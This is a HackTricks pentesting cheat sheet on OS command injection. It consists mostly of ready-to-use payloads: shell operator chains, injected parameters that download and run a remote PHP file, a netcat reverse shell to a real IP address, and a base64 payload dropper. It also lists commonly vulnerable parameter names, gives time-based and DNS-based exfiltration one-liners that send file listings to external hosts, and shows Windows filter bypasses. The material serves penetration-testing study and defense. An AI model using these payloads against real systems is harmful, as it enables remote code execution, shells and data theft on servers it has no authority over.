Command Injection

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

What is command Injection?

A command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.

Context

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

Command Injection/Execution

bash
#Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command

Limition Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

Bypass Linux Restrictions

Examples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parameters

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):

?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload}

Time based data exfiltration

Extracting data: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Brute-Force Detection List

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks